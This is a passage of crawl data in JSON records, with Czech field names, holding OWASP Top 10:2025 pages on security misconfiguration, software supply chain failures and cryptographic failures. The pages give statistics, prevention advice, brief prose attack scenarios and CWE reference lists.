Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Improper Protection of Alternate Path](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusion of Sensitive Information in Source Code Comments](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Exposed Dangerous Method or Function](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 9734, "slov": 1044, "odkazu": 81, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:33", "sha256": "da315070df0ad805417c9b6d5a8715b6211513afc5d70d3cf780d52bb56c5a39", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/", "titulek": "A02 Security Misconfiguration - OWASP Top 10:2025", "h1": "A02:2025 Security Misconfiguration", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 Security Misconfiguration"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A02:2025 Security Misconfiguration\n\n## Background.\n\nMoving up from #5 in the previous edition, 100% of the applications tested were found to have some form of misconfiguration, with an average incidence rate of 3.00%, and over 719k occurrences of a Common Weakness Enumeration (CWE) in this risk category. With more shifts into highly configurable software, it's not surprising to see this category moving up. Notable CWEs included are *CWE-16 Configuration* and *CWE-611 Improper Restriction of XML External Entity Reference (XXE)*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100.00% | 52.35% | 7.96 | 3.97 | 719,084 | 1,375 |\n\n## Description.\n\nSecurity misconfiguration is when a system, application, or cloud service is set up incorrectly from a security perspective, creating vulnerabilities.\n\nThe application might be vulnerable if:\n\n- It is missing appropriate security hardening across any part of the application stack or improperly configured permissions on cloud services.\n- Unnecessary features are enabled or installed (e.g., unnecessary ports, services, pages, accounts, testing frameworks, or privileges).\n- Default accounts and their passwords are still enabled and unchanged.\n- A lack of central configuration for intercepting excessive error messages. Error handling reveals stack traces or other overly informative error messages to users.\n- For upgraded systems, the latest security features are disabled or not configured securely.\n- Excessive prioritization of backward compatibility leading to insecure configuration.\n- The security settings in the application servers, application frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases, etc., are not set to secure values.\n- The server does not send security headers or directives, or they are not set to secure values.\n\nWithout a concerted, repeatable application security configuration hardening process, systems are at a higher risk.\n\n## How to prevent.\n\nSecure installation processes should be implemented, including:\n\n- A repeatable hardening process enabling the fast and easy deployment of another environment that is appropriately locked down. Development, QA, and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to set up a new secure environment.\n- A minimal platform without any unnecessary features, components, documentation, or samples. Remove or do not install unused features and frameworks.\n- A task to review and update the configurations appropriate to all security notes, updates, and patches as part of the patch management process (see [A03 Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/) ). Review cloud storage permissions (e.g., S3 bucket permissions).\n- A segmented application architecture provides effective and secure separation between components or tenants, with segmentation, containerization, or cloud security groups (ACLs).\n- Sending security directives to clients, e.g., Security Headers.\n- An automated process to verify the effectiveness of the configurations and settings in all environments.\n- Proactively add a central configuration to intercept excessive error messages as a backup.\n- If these verifications are not automated, they should be manually verified annually at a minimum.\n- Use identity federation, short-lived credentials, or role-based access mechanisms provided by the underlying platform instead of embedding static keys or secrets in code, configuration files, or pipelines.\n\n## Example attack scenarios.\n\n**Scenario #1:** The application server comes with sample applications not removed from the production server. These sample applications have known security flaws that attackers use to compromise the server. Suppose one of these applications is the admin console, and default accounts weren't changed. In that case, the attacker logs in with the default password and takes over.\n\n**Scenario #2:** Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a severe access control flaw in the application.\n\n**Scenario #3:** The application server's configuration allows detailed error messages, such as stack traces to be returned to users. This potentially exposes sensitive information or underlying flaws, such as component versions that are known to be vulnerable.\n\n**Scenario #4:** A cloud service provider (CSP) defaults to having sharing permissions open to the Internet. This allows sensitive data stored within cloud storage to be accessed.\n\n## References.\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## List of Mapped CWEs\n\n- [CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Active Debug Code](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 7507, "slov": 874, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:34", "sha256": "12b0a10d1d447d9a6d852c4db9196e1072d93e7b5ac42e681606e959670c7f6f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Software Supply Chain Failures - OWASP Top 10:2025", "h1": "A03:2025 Software Supply Chain Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 Software Supply Chain Failures"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A03:2025 Software Supply Chain Failures\n\n## Background.\n\nThis was top-ranked in the Top 10 community survey with exactly 50% respondents ranking it #1. Since initially appearing in the 2013 Top 10 as \"A9 – Using Components with Known Vulnerabilities\", the risk has grown in scope to include all supply chain failures, not just ones involving known vulnerabilities. Despite this increased scope, supply chain failures continue to be a challenge to identify with only 11 Common Vulnerability and Exposures (CVEs) having the related CWEs. However, when tested and reported in the contributed data, this category has the highest average incidence rate at 5.19%. The relevant CWEs are *CWE-477: Use of Obsolete Function, CWE-1104: Use of Unmaintained Third Party Components*, CWE-1329: *Reliance on Component That is Not Updateable*, and *CWE-1395: Dependency on Vulnerable Third-Party Component*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9.56% | 5.72% | 65.42% | 27.47% | 8.17 | 5.23 | 215,248 | 11 |\n\n## Description.\n\nSoftware supply chain failures are breakdowns or other compromises in the process of building, distributing, or updating software. They are often caused by vulnerabilities or malicious changes in third-party code, tools, or other dependencies that the system relies on.\n\nYou are likely vulnerable if:\n\n- you do not carefully track the versions of all components that you use (both client-side and server-side). This includes components you directly use as well as nested (transitive) dependencies.\n- the software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.\n- you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.\n- you do not have a change management process or tracking of changes within your supply chain, including tracking IDEs, IDE extensions and updates, changes to your organization's code repository, sandboxes, image and library repositories, the way artifacts are created and stored, etc. Every part of your supply chain should be documented, especially changes.\n- you have not hardened every part of your supply chain, with a special focus on access control and the application of least privilege.\n- your supply chain systems do not have any separation of duty. No single person should be able to write code and promote it all the way to production without oversight from another human being.\n- components from untrusted sources, across any part of the tech stack, are used in or can impact on production environments.\n- you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, leaving organizations open to days or months of unnecessary exposure before fixing vulnerabilities.\n- software developers do not test the compatibility of updated, upgraded, or patched libraries.\n- you do not secure the configurations of every part of your system (see [A02:2025-Security Misconfiguration](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- your CI/CD pipeline has weaker security than the systems it builds and deploys, especially if it is complex.\n\n## How to prevent.\n\nThere should be a patch management process in place to:\n\n- Centrally generate and manage the Software Bill of Materials (SBOM) of your entire software.\n- Track not just your direct dependencies, but their (transitive) dependencies, and so on.\n- Reduce attack surface by removing unused dependencies, unnecessary features, components, files, and documentation.\n- Continuously inventory the versions of both client-side and server-side components (e.g., frameworks, libraries) and their dependencies using tools like OWASP Dependency Track, OWASP Dependency Check, retire.js, etc.\n- Continuously monitor sources like Common Vulnerability and Exposures (CVE), National Vulnerability Database (NVD), and [Open Source Vulnerabilities (OSV)](https://osv.dev/) for vulnerabilities in the components you use. Use software composition analysis, software supply chain, or security-focused SBOM tools to automate the process. Subscribe to alerts for security vulnerabilities related to components you use.\n- Only obtain components from official (trusted) sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component (see [A08:2025-Software and Data Integrity Failures](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) ).\n- Deliberately choose which version of a dependency you use and upgrade only when there is need.\n- Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider migrating to an alternative. If that is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.\n- Update your CI/CD, IDE, and any other developer tooling regularly\n- Avoid deploying updates to all systems simultaneously. Use staged rollouts or canary deployments to limit exposure in case a trusted vendor is compromised.\n\nThere should be a change management process or tracking system in place to track changes to:\n\n- CI/CD settings (all build tools and pipelines)\n- Code repositories\n- Sandbox areas\n- Developer IDEs\n- SBOM tooling, and created artifacts\n- Logging systems and logs\n- Third party integrations, such as SaaS\n- Artifact repositories\n- Container registries\n\nHarden the following systems, which includes enabling MFA and locking down IAM:\n\n- Your code repository (which includes not checking in secrets, protecting branches, backups)\n- Developer workstations (regular patching, MFA, monitoring, and more)\n- Your build server & CI/CD (separation of duties, access control, signed builds, environment-scoped secrets, tamper-evident logs, more)\n- Your artifacts (ensure integrity via provenance, signing, and time stamping, promote artifacts rather than rebuilding for each environment, ensure builds are immutable)\n- Infrastructure as code (managed like all code, including use of PRs and version control)\n\nEvery organization must ensure an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.\n\n## Example attack scenarios.\n\n**Scenario #1:** A trusted vendor is compromised with malware, leading to your computer systems being compromised when you upgrade. The most famous example of this is probably:\n\n- The 2019 SolarWinds compromise that led to ~18,000 organizations being compromised. [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**Scenario #2:** A trusted vendor is compromised such that it behaves maliciously only under a specific condition.\n\n- The 2025 Bybit theft of $1.5 billion was caused by [a supply chain attack in wallet software](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) that only executed when the target wallet was being used.\n\n**Scenario #3:** The [`Shai-Hulud` supply chain attack](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) in 2025 was the first successful self-propagating npm worm. Attacks seeded malicious versions of popular packages, which used a post-install script to harvest and exfiltrate sensitive data to public GitHub repositories. The malware would also detect npm tokens in the victim environment, and automatically use them to push malicious versions of any accessible package. The worm reached over 500 package versions before being disrupted by npm. This supply chain attack was advanced, fast-spreading, and damaging, and by targeting developer machines it demonstrated developers themselves are now prime targets for supply chain attacks.\n\n**Scenario #4:** Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g., coding error) or intentional (e.g., a backdoor in a component). Some example exploitable component vulnerabilities discovered are:\n\n- CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables the execution of arbitrary code on the server, has been blamed for significant breaches.\n- CVE-2021-44228 (\"Log4Shell\"), an Apache Log4j remote code execution zero-day vulnerability, has been blamed for ransomware, cryptomining, and other attack campaigns.\n\n## References\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- Ruby Libraries Security Advisory Database and Tools\n- [SAFECode Software Integrity Controls (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Glassworm supply chain attack](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [PhantomRaven supply chain attack campaign](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## List of Mapped CWEs\n\n- [CWE-447 Use of Obsolete Function](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Reliance on Component That is Not Updateable](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Reliance on Insufficiently Trustworthy Component](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 11329, "slov": 1447, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:35", "sha256": "7855904deb4c99c5a6ac63d6fd6d31da950119fbeb397289c2443528b33450eb", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/", "titulek": "A04 Cryptographic Failures - OWASP Top 10:2025", "h1": "A04:2025 Cryptographic Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 Cryptographic Failures"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A04:2025 Cryptographic Failures\n\n## Background.\n\nMoving down two positions to #4, this weakness focuses on failures related to the lack of cryptography, insufficiently strong cryptography, leaking of cryptographic keys, and related errors. Three of the most common Common Weakness Enumerations (CWEs) in this risk involved the use of a weak pseudo-random number generator: *CWE-327 Use of a Broken or Risky Cryptographic Algorithm, CWE-331: Insufficient Entropy*, *CWE-1241: Use of Predictable Algorithm in Random Number Generator*, and *CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n## Description.\n\nGenerally speaking, all data in transit should be encrypted at the [transport layer](https://en.wikipedia.org/wiki/Transport_layer) ([OSI layer](https://en.wikipedia.org/wiki/OSI_model) 4). Previous hurdles such as CPU performance and private key/certificate management are now handled by CPUs having instructions designed to accelerate encryption (eg: [AES support](https://en.wikipedia.org/wiki/AES_instruction_set)) and private key and certificate management being simplified by services like [LetsEncrypt.org](https://LetsEncrypt.org) with major cloud vendors providing even more tightly integrated certificate management services for their specific platforms.\n\nBeyond securing the transport layer, it is important to determine what data needs encryption at rest as well as what data needs extra encryption in transit (at the [application layer](https://en.wikipedia.org/wiki/Application_layer), OSI layer 7). For example, passwords, credit card numbers, health records, personal information, and business secrets require extra protection, especially if that data falls under privacy laws, e.g., EU's General Data Protection Regulation (GDPR), or regulations such as PCI Data Security Standard (PCI DSS). For all such data:\n\n- Are any old or weak cryptographic algorithms or protocols used either by default or in older code?\n- Are default crypto keys in use, are weak crypto keys generated, are keys re-used, or is proper key management and rotation missing?\n- Are crypto keys checked into source code repositories?\n- Is encryption not enforced, e.g., are any HTTP headers (browser) security directives or headers missing?\n- Is the received server certificate and the trust chain properly validated?\n- Are initialization vectors ignored, reused, or not generated sufficiently secure for the cryptographic mode of operation? Is an insecure mode of operation such as ECB in use? Is encryption used when authenticated encryption is more appropriate?\n- Are passwords being used as cryptographic keys in the absence of a password based key derivation function?\n- Is randomness used that was not designed to meet cryptographic requirements? Even if the correct function is chosen, does it need to be seeded by the developer, and if not, has the developer over-written the strong seeding functionality built into it with a seed that lacks sufficient entropy/unpredictability?\n- Are deprecated hash functions such as MD5 or SHA1 in use, or are non-cryptographic hash functions used when cryptographic hash functions are needed?\n- Are cryptographic error messages or side channel information exploitable, for example in the form of padding oracle attacks?\n- Can the cryptographic algorithm be downgraded or bypassed?\n\nSee references ASVS: Cryptography (V11), Secure Communication (V12) and Data Protection (V14).\n\n## How to prevent.\n\nDo the following, at a minimum, and consult the references:\n\n- Classify and label data processed, stored, or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.\n- Store your most sensitive keys in a hardware or cloud-based HSM.\n- Use well-trusted implementations of cryptographic algorithms whenever possible.\n- Don't store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.\n- Make sure to encrypt all sensitive data at rest.\n- Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.\n- Encrypt all data in transit with protocols >= TLS 1.2 only, with forward secrecy (FS) ciphers, drop support for cipher block chaining (CBC) ciphers, support quantum key change algorithms. For HTTPS enforce encryption using HTTP Strict Transport Security (HSTS). Check everything with a tool.\n- Disable caching for responses that contain sensitive data. This includes caching in your CDN, web server, and any application caching (eg: Redis).\n- Apply required security controls as per the data classification.\n- Do not use unencrypted protocols such as FTP, and STARTTLS. Avoid using SMTP for transmitting confidential data.\n- Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, yescrypt, scrypt or PBKDF2-HMAC-SHA-512. For legacy systems using bcrypt, get more advice at [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- Initialization vectors must be chosen appropriate for the mode of operation. This could mean using a CSPRNG (cryptographically secure pseudo random number generator). For modes that require a nonce, 